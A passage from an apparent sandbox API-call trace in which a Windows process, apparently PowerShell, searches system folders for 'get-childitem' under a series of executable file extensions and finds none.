(dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.MSC", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.MSC", lpFilePart=0x0) returned 0x25 [0111.688] GetFullPathNameW (in: lpFileName="get-childitem.MSC", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.MSC", lpFilePart=0x0) returned 0x2f [0111.689] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.MSC", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.689] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.CPL", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.CPL", lpFilePart=0x0) returned 0x25 [0111.689] GetFullPathNameW (in: lpFileName="get-childitem.CPL", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.CPL", lpFilePart=0x0) returned 0x2f [0111.689] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.CPL", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.690] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.690] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem", lpFilePart=0x0) returned 0x21 [0111.690] GetFullPathNameW (in: lpFileName="get-childitem", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem", lpFilePart=0x0) returned 0x2b [0111.690] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.690] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.690] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.691] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.ps1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.ps1", lpFilePart=0x0) returned 0x1c [0111.691] GetFullPathNameW (in: lpFileName="get-childitem.ps1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.ps1", lpFilePart=0x0) returned 0x2f [0111.691] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.ps1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.691] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.691] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.691] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.psm1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.psm1", lpFilePart=0x0) returned 0x1d [0111.691] GetFullPathNameW (in: lpFileName="get-childitem.psm1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.psm1", lpFilePart=0x0) returned 0x30 [0111.691] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.psm1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.692] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.692] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.692] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.psd1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.psd1", lpFilePart=0x0) returned 0x1d [0111.692] GetFullPathNameW (in: lpFileName="get-childitem.psd1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.psd1", lpFilePart=0x0) returned 0x30 [0111.692] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.psd1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.692] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.692] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.692] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.COM", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.COM", lpFilePart=0x0) returned 0x1c [0111.693] GetFullPathNameW (in: lpFileName="get-childitem.COM", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.COM", lpFilePart=0x0) returned 0x2f [0111.693] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.COM", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.693] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.693] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.693] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.EXE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.EXE", lpFilePart=0x0) returned 0x1c [0111.693] GetFullPathNameW (in: lpFileName="get-childitem.EXE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.EXE", lpFilePart=0x0) returned 0x2f [0111.693] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.EXE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.693] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.693] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.694] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.BAT", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.BAT", lpFilePart=0x0) returned 0x1c [0111.694] GetFullPathNameW (in: lpFileName="get-childitem.BAT", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.BAT", lpFilePart=0x0) returned 0x2f [0111.694] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.BAT", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.694] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.694] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.694] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.CMD", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.CMD", lpFilePart=0x0) returned 0x1c [0111.694] GetFullPathNameW (in: lpFileName="get-childitem.CMD", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.CMD", lpFilePart=0x0) returned 0x2f [0111.694] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.CMD", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.695] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.695] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.695] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.VBS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.VBS", lpFilePart=0x0) returned 0x1c [0111.695] GetFullPathNameW (in: lpFileName="get-childitem.VBS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.VBS", lpFilePart=0x0) returned 0x2f [0111.695] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.VBS", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.695] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.695] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.695] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.695] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.VBE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.VBE", lpFilePart=0x0) returned 0x1c [0111.695] GetFullPathNameW (in: lpFileName="get-childitem.VBE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.VBE", lpFilePart=0x0) returned 0x2f [0111.696] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.VBE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.696] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.696] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.696] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.696] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.JS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.JS", lpFilePart=0x0) returned 0x1b [0111.696] GetFullPathNameW (in: lpFileName="get-childitem.JS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.JS", lpFilePart=0x0) returned 0x2e [0111.696] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.JS", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.696] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.697] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0111.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.697] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0111.697] GetFullPathNameW (in: lpFileName="C:\\Windows\\get-childitem.JSE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\get-childitem.JSE", lpFilePart=0x0) returned 0x1c [0111.697] GetFullPathNameW (in: lpFileName="get-childitem.JSE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.JSE", lpFilePart=0x0) returned 0x2f [0111.697] FindFirstFileW (in: lpFileName="C:\\Windows\\get-childitem.JSE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.697] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", 